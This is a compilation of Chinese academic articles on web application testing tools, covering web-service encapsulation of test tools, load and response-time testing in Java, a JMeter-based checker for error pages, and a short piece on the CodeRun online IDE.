
2.3 功能封装

功能封装是对测试过程的封装, 使得在测试工具调用过程中, 调用者不用考虑测试工具的具体实现方式、平台部署环境, 只需通过远程网络发出函数调用命令。每个测试工具的测试实现将以Web服务的形式存在, 并进行注册, Web层调用测试工具时, 通过工具的注册信息找到对应的测试服务, 执行测试。

现流行的Web Services[5]技术可以很好地完成工具的封装。其实质是一个向外界暴露出能够通过Internet进行调用的API或者应用程序。对于使用者而言, 它实际上是一种部署在Web上的对象或组件, 具有良好的封装性。当一个Web Service的内部发生变更时, 只要调用的接口不变, 调用者不会有任何感觉。

在测试过程中, 用户与测试工具的每次交互, 都通过上层应用调用测试工具一端对应的Web服务来实现。如最基本的启动测试工具操作, 上层应用通过测试工具信息找到需要被启动的测试工具, 并调用其启动服务;在测试工具一端通过对工具的一系列信息初始化活动, 开启测试工具启动的线程, 同时返回给调用者该线程的一些相关信息。在调用中, 上层应用无需考虑测试工具端是如何实现的。同时, 与测试工具交互的粒度是原子的, 每次交互时调用一个Web服务, 其它时间, 上层应用与测试工具一端是无关的, 无通信的, 在一定程度上可以减轻网络异常造成的损失。

2.4 功能封装实现的测试工具调用

在测试过程中, 功能封装与数据封装是通过测试工具管理层结合在一起, 以实现测试工具调用的。两者的目标都是为了屏蔽测试工具不同带来的差异, 从实现角度来看:数据的封装是为了使用户提交的数据或者得到结果信息具有相同的结构, Web的模型层不用考虑测试工具信息, 所有的处理由测试工具管理层实现, 由其解析测试数据, 为封装的Web服务提供参数, 由其包装Web服务的输出, 提供给Web模型层, 它实现了功能的分层;工具封装是为了使测试工具以外的各层不用考虑各种测试工具功能的内部实现, 实现了工具和Web端的松耦合。

如图4所示, 用户提交的测试信息包经过测试工具管理层得到分解, 转化为各个被封装的测试服务的入口参数;在测试结束后, 测试工具管理层又把结果进行组装, 提供给用户结果。通过测试工具管理层, 为进一步实现分布异构环境下用户与测试工具的互操作及不同测试工具间的互操作打下良好的基础。

3 应用实例

根据以上的研究, 我们成功地对PolySpace、CodeTest中的CodeTEST Software-In-CircuitTM部分进行了集成。

以PolySpace为例, 它是一个静态检查工具, 能通过语义分析技术, 发现动态的运行时错误。通过对被测代码、测试参数设置和测试结果进行数据封装, 调用测试工具一端Web服务, 利用数据封装和功能封装技术实现了测试工具的远程调用。用户首先上传已完成打包的测试工程文件;然后进行测试参数设置, 如Target Processortype、Compiler environment等;完成上述工作, 即可在本地启动远程的PolySpace, 并可获得实时过程信息;待测试结束, 用户可以下载测试结果进行查看。

相对于本地使用测试工具, 此集成的响应速度会受到网络状况的影响。其中提交测试信息和获得结果, 由于信息交互量很小, 影响也较小;而过程信息显示, 其作用是辅助用户获悉测试进展情况, 通过页面自动刷新的方式显示, 其延迟<=1分钟, 且并不会影响最后结果的产生速度。

4 结 论

本文提出的封装思想, 为测试工具的集成提供了可能性。开发人员只需在测试工具管理层对工具进行注册登记, 并完成接口的设置即可添加测试服务;在测试过程中, 把整个过程划分为若干原子活动, 通过对Web服务的调用完成一次用户与测试工具的交互, 在一定程度上解决了网络因素造成的局限性。

当然, 系统中测试功能的实现还要依赖于测试工具本身, 所有用户与测试工具间的交互, 都需要测试工具本身提供调用接口设置, 如何突破这个限制问题, 是将来的研究方向。

摘要:提出了一种新的测试工具网络化集成方案:在视图层、控制层、模型层、测试工具管理层和测试工具服务层五层结构框架上, 运用数据封装技术、功能封装技术实现了对测试工具的封装集成。在对PolySpace、CodeTest等测试工具的集成中得到了应用, 为工具提供了一种便捷的使用方式。

关键词:测试工具,网络化,集成,封装

参考文献

[1]郑纬民, 王鼎兴, 鞠大鹏, 等.一种实用、高效的虚拟远程超级计算环境[J].软件学报, 2002, 13 (8) :1841-1847.

[2]刘胜利, 王罡.微波仪器远程自动测试系统的设计与实现[J].自动化仪表, 2006, 27 (z1) :112-115.

[3]王跃科, 明德祥, 杨俊.基于网络互联的分布式测试系统开放体系结构与技术[J].计算机测量与控制, 2002, 10 (8) :496-498.

[4]冯博, 朱穗晖.JEE1.4程序设计教程[M].北京:清华大学出版社, 2005:162.

基于Web的软件测试工具的研发 篇7

1 Web 测试特点

Web软件由于其分布式应用,具有各种行为、涉及多种标准协议,可能在硬件、软件、通信、对象管理等环节出现各种缺陷。其体系结构和应用的复杂性,以及技术和规范不断地发生变化,对测试提出了新的挑战。Web软件测试的特点与难点主要体现在以下几个方面:

(1)Web软件的开发环境与其应用环境有很大的不同,在发布之前,难以对其实际的运行场景进行预测,如用户类型、并发用户数量、Web服务调用的装载模式和访问方式等,这些差异和应用的不确定性都增加了Web服务测试的困难;

(2)Web软件测试主要基于软件接口进行设计和实现,因此必须采用自动化测试方法,与传统的需要大量人工干预的测试方法截然不同;

(3)Web软件由于其分布特征,会出现大量用户通过不同的环境访问同一个服务的情形,因此,性能和可扩展性是Web软件测试的重要方面;

(4)Web软件及软件集成的发布、发现和绑定都是动态完成的,其过程的不确定性和不可见性增加了测试难度;

(5)Web软件的应用通常涉及到软件提供者、发布者和使用者3种角色,都需要参与到测试的不同阶段,其分布式合作的特征使得测试的组织、缺陷管理、结果评估等活动都更加困难。

2 Web测试工具设计与实现

Web应用性能测试包括负载测试和压力测试两个方面。负载测试是为了确定在各种级别负载系统的性能而进行的测试。目标是测试当负载逐渐增加时,系统组成部分的相应输出项,如响应时间、连接失败率、CPU负载、内存使用等来决定系统的性能[1,2]。压力测试是为了确定Web应用系统的瓶颈或者所能承受的极限性能点而进行的测试,从而获得系统能提供的最大服务级别的测试[3]。本文设计实现的Web测试软件工具,其主要功能分为:链接功能测试、并发访问测试、响应时间测试和网页录制回放测试,如图1所示。

2.1 网页链接测试

网页链接测试是Web应用系统的一个主要特征,可分为3个方面:(1)测试所有链接是否按指示链接到了该链接页面;(2)测试所链接的页面是否存在;(3)测试Web应用系统上有无孤立页面。所谓孤立页面是指没有链接指向的页面,只有知道正确的URL地址才能访问。通过用户发送HTTP_GET 请求,判断得到的响应结果可以知道链接有效性。

具体技术实现如下:首先获取URL框输入的网址,然后建立链接,获取返回代码,如果返回代码是200,表示正常,得到该地址的输出流,下载网页并显示,具体流程如图2所示。

2.2 并发访问测试

并发访问测试是为了测量Web系统在某一负载级别上的性能,以保证Web系统在需求范围内能正常工作。并发数目可以是某个时刻同时访问Web系统的用户数量,也可以是在线数据处理的数量。

具体技术实现如下:当多用户访问时需要链接多个线程,可以采用多线程方法,每个线程模拟一个用户的操作,反复测试,得到最大并发用户数并统计响应时间。通过定义一个类来继承Runnable实现,测试界面如图3所示。

2.3 响应时间测试

响应时间是指在URL中打开一个网页到一个页面成功下载所需时间。通过调用java.lang.System.currentTimeMillis()类,用endTime-startTime求得一次响应时间。

2.4 网页录制回放测试

通过自动录制、检测和回放用户的网页操作检测网页程序是否能够达到预期的功能及正常运行。录制与回放的实现主要根据Windows API提供的钩子函数。钩子是Windows消息处理机制的一个监视点。当消息到达后,在目标窗口函数处理之前,钩子机制允许应用程序截获它进行处理,通过调用相关API函数,把它挂入系统。每当特定的消息发出,钩子程序就先捕获该消息,得到控制权。

通过设置钩子函数SetWindowsHookEx。在录制与回放功能中,利用SetWindowsHookEx(hHook)与SetWindowsHookEx(hPlay)函数把捕捉到的事件写到文件中,形成脚本。

3 结束语

随着Web应用的普及,Web系统测试尤为重要,文中设计和实现的Web测试软件工具,通过模拟真实负载,获得Web应用对用户请求的响应时间、连接失败率等性能指标,从而给出全面、准确、可靠的性能评价,帮助找到Web系统性能瓶颈,保证了软件产品质量。

摘要:作为保证Web软件正确性和可靠性的重要手段,Web应用软件测试通过响应时间、连接失败率等性能指标来判定Web应用系统的质量。文中利用设计和实现Web测试功能的软件,分析获取的数据,进行了性能优化。

关键词:Web测试,链接测试,响应时间,录制与回放

参考文献

[1]赖利锋,刘强.Web应用程序的一种功能自动化测试模型与实现[J].计算机工程,2006,32(17):123-125.

[2]李康荣,贾迪,张瑶.基于Web系统测试的应用研究[J].中国测试技术,2006,32(6):114-116.

[3]白晓颖,赵冲冲,戴桂兰.Web服务测试研究[J].计算机科学,2006,33(2):252-256.

[4]李乔,郑啸,秦锋.Web服务测试的研究[J].计算机技术与发展,2006,16(9):93-96.

[5]Lydia Ash.Web测试指南[M].李昂,译.北京:机械工业出版社,2004.

[6]朱少民.全程软件测试[M].北京:电子工业出版社,2007.

[7]黄锋,吴华瑞,朱华吉,等.Web应用性能测试工具研究与实现[J].计算机工程与设计,2008,29(13):3465-3469.

[8]李年,王诚.基于Java的Web应用全球化自动测试设计[J].计算机工程与设计,2005,26(12):275-277.

Web应用工具 篇8

本身作为一款APP产品,CodeRun融入了分享机制,开发者可以有选择的上传项目代码,使用云技术来协同同事完成项目工作。目前,CodeRun主要支持一些Web开发语言,包括C#/.NET (3.5) , PHP (5.1) , JavaScript, HTML以及CSS等,其中C#项目包括ASP.NET, WCF, Silverlight和WPF MVC等项目,JavaScript脚本项目支持目前流行的JQuery ExtJS, YUI等框架,其中数据库支持SQL Server 2005和A-mazon SimpleDB。最后,更尤为值得一提的是,CodeRun是开源程序。

互联网给软件行业带来了极其深远的影响,我们关注了太多的逐步网络化的传统软件产品和项目,包括在线的Word、Photoshop、Powerpoint等等等等;但唯独缺少一个能够能够以SaaS理念去支撑和生产这些在线产品的底层应用,即技术人员口中所谓的集成开发环境(IDE)。

Web应用工具 篇9

随着信息化建设的快速发展, 信息化与各行各业的融合更加紧密, 信息系统在各业务领域发挥的作用越来越明显, 而保障信息系统持续安全稳定运行则成了IT运维[1]人员面临的重要挑战。为了改变“救火式”、“被动式”的运维现状, 广西电网有限责任公司 (以下简称:广西电网公司) 信息中心借鉴安全生产的成功经验, 落实“一切事故事件可以预防”的理念, 提出重要信息系统特巡特维[2]工作要求, 定期开展信息系统巡视检查, 争取先于用户发现问题, 及时解决问题。资产管理系统是广西电网公司重要信息系统之一, 省级集中部署, “省、地、县”三级应用, 若系统发生故障, 业务影响面广, 恢复难度大。在开展特巡特维工作过程中, 需要对系统功能菜单进行全面检查验证, 确保所有功能菜单可顺畅使用, 但由于系统功能菜单较多, 人工巡检效率低下、易疏漏, 迫切需要研究开发高效、实用的WEB系统错误页面自动化检测工具, 通过技术手段提升系统持续安全稳定运行的能力。

1 WEB系统功能菜单巡检现状

根据特巡特维工作要求, 资产管理系统的定期巡检工作及系统更新升级之后, 都需要对所有功能菜单进行检查验证, 主要由运维人员手工逐个点击系统功能菜单, 存在较为严重的效率低下、漏巡漏检问题:

1) 人工巡检效率低下。根据平常运维经验, 资产管理系统平均检查验证一个功能菜单需要花费4 s, 而资产管理系统拥有超过1000个菜单页面, 完成一次全面巡检的时间超过1 h。随着各重要信息系统陆续上线运行, 低效的巡检效率需要投入大量的人力物力, 人力资源得不到合理利用。

2) 漏巡漏检几率高。人工巡检往往有偏向性, 更关注常用功能菜单而忽视不常用但也很重要的功能菜单, 同时人工长时间进行同一类型的重复操作较容易出现复检漏检的情况, 若漏检的功能菜单存在问题, 用户紧急办理业务时使用不畅, 用户满意度将受到较大影响, IT运维部门形象受损。经分析, 资产管理系统人工巡检过程中不巡或者漏巡的功能菜单占比高达20%, 对于及时发现系统存在问题极其不利。

2 自动检查工具设计目标

为了改变资产管理系统功能菜单落后的人工巡检方式, 研究开发WEB系统错误页面自动化检测工具, 提高系统巡检工作效率, 避免出现漏巡漏检的情况, 促进运维资源优化分配;同时实现功能菜单巡检结果报表分析, 为系统性能分析提供数据支持。

3 WEB系统错误页面自动检测工具实现

3.1 设计思路

1) 广西电网公司重要信息系统大部分属于B/S模式[3]的WEB系统, 系统各功能菜单有固定的URL地址。因此, 只需获取被检系统各菜单对应的URL, 然后遍历模拟用户点击功能菜单的行为, 再根据访问结果与预定义的错误特征库进行匹配, 即可输出功能菜单对应页面访问正常与否的断言结果。经过抽样调查, 资产管理系统、财务管理系统等重要信息系统, 在架构设计上都已将功能菜单名称、路径等信息存放到数据库的某些表中, 可轻松获取各功能菜单的URL, 进一步验证了设计思路的可行性。

2) 为了便于扩展、简化开发实现过程, 选择在Apache Jmeter、Fiddler、Apache-Ant三套开源工具的基础上进行二次开发及整合, 搭建满足自身运维需求的WEB系统错误页面自动检测工具。Jmeter是工具二次开发的核心, 利用其本身提供的对外接口进行JMX文件脚本编制, 使其具有菜单检测功能;Fiddler用于捕获被检测系统的登陆密文, 为Jmeter提供登陆被检测系统所需的参数信息;Apache-Ant用于输出网页版检测报告, 为用户提供页面检测结果分析、页面响应时间分析等数据。

3.2 实现过程

1) 基础环境变量自定义, 变量包括应用系统及数据库服务两个方面。应用系统方面主要有访问地址、端口、用户登录帐号、用户密码 (密文) ;数据库服务方面主要有数据库地址、帐号、密码、查询功能菜单名与功能菜单URL的SQL语句 (数据库相关变量只需在选择直连数据库方式获取功能菜单信息时配置, 另一种获取功能菜单信息的方式是通过CSV配置文件) 。

2) 创建数据库连接。第三方开源工具内置了JDBC驱动, 只需要根据变量信息添加连接字符串即可完成数据库连接配置, 正常执行数据库查询语句。

3) 创建JDBC Request查询功能菜单。通过JDBC数据库连接, 执行事先定义好的数据库SQL语句, 查询被检测信息系统的所有功能菜单, 查询结果包括菜单名称以及与之对应URL。

4) 创建HTTP请求采样器。采样器将记录用户登录行为, 获取访问过程中使用的会话ID、密码 (密文) , 为后续系统菜单的检测工作提供必要的登陆信息。

5) 创建HTTP请求采样器。采样器负责模拟用户访问菜单的行为, 根据所有功能菜单的URL逐一发起请求进行页面访问, 然后记录每个功能菜单的访问结果, 分析每一次URL访问是否正常。

6) 创建断言规则。Jmeter将HTTP请求采样器的结果与断言规则进行比对, 针对页面的返回值进行断言, 通过检测的页面显示正常, 没有通过检测则为异常, 正常的结果代码显示为200, 异常的结果代码有500、404、403等。

7) 创建“察看结果树”。结果树主要方便阅读分析, 可快速浏览检测过程中错误页面与正确页面的响应情况, 展现各功能菜单的详细访问路径和请求信息。

3.3 自动检测工具特点

1) 参数配置灵活。对不同的信息系统进行功能菜单巡检, 只需修改系统访问地址、应用账号、登陆密文;对于提供数据库查询权限的系统, 仅需要配置数据库地址、数据库账号、数据库密码、数据库菜单查询语句等参数, 而对于不方便提供数据库任何访问权限的系统, 也可通过脚本读取本地事先定义好的功能菜单CSV文件, 灵活方便。自定义变量清单如下表1所示:

2) 结果直观易读。WEB系统错误页面自动检测工具可提供详细的错误菜单路径、错误正文、页面响应时间, 还可以将错误信息导出网页报告, 便于分析功能菜单对应页面无法访问的错误原因、可能存在的性能隐患等。如图1所示:

3) 页面规则自定义。允许用户在脚本中自定义关键字、错误代码和错误规则, 可对所有非HTTP200响应状态进行检测, 包括常见的500、404、403等错误页面, 具有良好的可扩展性。

4 应用效果

WEB系统错误页面自动检测工具使资产管理系统的功能菜单巡检效率提升8倍, 解决了人工巡检效率低下的问题;漏巡漏检的几率下降至0%, 有效避免了漏巡漏检的情况发。人工检测与工具检测的效果对比如表2所示:

5 结语

本文从IT运维现状出发, 结合第三方开源软件, 研发了WEB系统错误页面自动检测工具, 工具简单、实用, 能有效解决了资产管理系统的日常运维问题, 是开拓运维思路、通过技术手段提升运维水平的具体举措, 该错误页面自动检测工具具有一定的推广意义, 解决运维问题的思路值得借鉴。

参考文献

[1]罗金满, 陈华军, 蒙家晓, 等.试谈大中型企业的IT运维管理[J].电脑编程技巧与维护, 2013 (18) :113-114.

[2]周迪贵, 李林峰, 欧阳喆.企业协同办公系统特巡特维工作的探索与应用[J].广西电力, 2015, 38 (3) :59-60;72.

Web应用工具 篇10

关键词:Web服务器,Java,性能测试,压力测试,系统响应时间

1 Web服务器性能测试工具的重要性

Web应用服务器是为创建, 部署, 运行, 集成和管理事务性Web应用, 而提供一系列运行时服务的可伸缩、高可用、高可靠, 高效的中间件平台。一般在设计开发Web应用系统的时候, 很难对其进行全面的性能测试和压力测试, 因为web应用系统在实际运行中, 用户请求经常以爆发的方式到达web服务器的高峰, 高峰时的请求率往往超过正常平均值的8~10倍。并且由于用户对于web请求的网络通信量分布是呈相似的, 也就是Web请求的通信量可以在大范围内有显著的变化, 就会使web服务器在高峰时的请求率容易处于过载状态。所以当web服务器遇到访问高峰或访问异常时, 容易产生服务器性能急剧下降, 服务器响应速度变慢, 服务中断, 甚至导致服务器的崩溃等问题。为了避免这些情况, 就需要一种能够真实模拟用户访问web应用系统的测试工具, 并及时对其进行测试, 从而及时发现缺陷, 而采取应对的措施。

2 web测试的分析和测试结果

针对大学生网上选课系统进行web测试的要求, 利用Java网络和多线程的编程特性, 研究并开发了一套基于Java的web服务器性能测试工具, 并用它进行web测试。学生通过网上浏览器进入网上选课系统, 然后在其中填入自己的数据, 再提交, 然后服务器再根据其数据进行分析和执行, 并把处理的结果返回给学生们所处的客户端。为了更准确地知道Web测试工具的性能, 就要更全面地进行各种测试, 而对于了解大量学生在相同的时间段同时访问Web动态网页的情况, 该测试工具就需要处理下面的几个问题: (1) 测试工具怎样才能模拟出大量学生同时访问Web的情况; (2) Web测试工具需要模拟出单个学生访问Web时个性化的请求参数。本套Web性能测试工具主要由四个模块构成:图形化用户界面程序、性能测试数据文件及处理程序、性能测试程序和测试结果分析程序。在测试过程中, 测试程序会开启x个线程, 而每个线程可以开设y个会话来模拟x乘以y个学生对服务器同时进行访问的情况。然后每个线程再从性能测试数据文件中读取学生的数据, 然后就可以对web服务器进行访问了。因为每个学生在数据库中的数据是不同的, 所以他们访问页面时要请求的参数也是不同的, 再发送请求时程序就会开始计时, 程序等待就会自动接受Web服务器的回复, 就会停止计时, 同时计算本次的连接时间、分析Web服务器的信息, 并把详细的测试结果发送到指定的文件。所以, 由以上可以知道Web性能测试工具能够真实准确地模拟出任意指定数目的学生同时访问Web服务器的情况。

3 内容

模拟学生进行选课的操作, 就会遇到下面的几个问题:一个就是session值的传递和怎样获取学生们准确的session值。解决这个问题, 就要利用到URL、URLConnection类, 具体的使用是:首先使用URL类建立对login.jsp页面的URL连接, 会返回一个URL类对象, 然后再获取该学生本次连接的ID, 并使用URL类把此sessionl D作为参数传递给下一个URL连接, 这样就能够使session值正确传递。

另一个难点就是对JSP动态页面进行模拟时, 如何根据不同学生选课时对课程的不同需求, 从而对于选课页面的测试。还有一个难点就是如何对多线程进行监控并在多线程下对数据保持同步。具体是:通过扩展java.1ang包的Thread类, 先生成一个监视线程, 就可以对多线程的运行进行监视, 并能够随时终止并退出测试。通过重新改写Thread类的run方法, 利用java.net包的URL、URLConnection类来实现对服务器的连接和测试。

4 测试结果

使用该测试工具对大学生网上选课系统进行Web服务器性能测试。发现在现有的条件下, 选课系统的响应时间和出错率是和测试人数成正比的, 但是当测试人员达到一定数量时服务器的响应速度就会开始变慢, 性能也开始下降, 当人数再增加时, 出错率也会提高, 系统的平均响应时间就会接近10秒, 此时系统基本就不能运行了。这也达到了这次测试的目的。

5 结语

本研究提出的是一个基于Java的Web性能测试工具, 充分地利用了Java面向对象的编程方法和它所提供的多线程机制和网络特性。该测试工具是由纯Java语言编写的, 因此具有可移植性、安全性和面向对象等优点。作为一个完整的web服务器性能测试工具, 它还具备以下功能:发送个性化的用户请求信息;可以发送GET和POST等不同类型HTTP的请求。获取和传递Sessionl D;多线程;模拟用户延迟;记录测试性能数据等功能, 从而提供丰富且有意义的测试参数。

参考文献

[1]姚念民, 鞠九滨.过载服务器的性能研究[J].软件学报, 2003, 14 (10) ;1781-1786

[2]CAY S.HORSTMANN.最新Java2核心技术 (卷1, 2) [M].北京:机械工业出版社, 2003

上一篇:四维一体模式下一篇:高校寝室卫生文明建设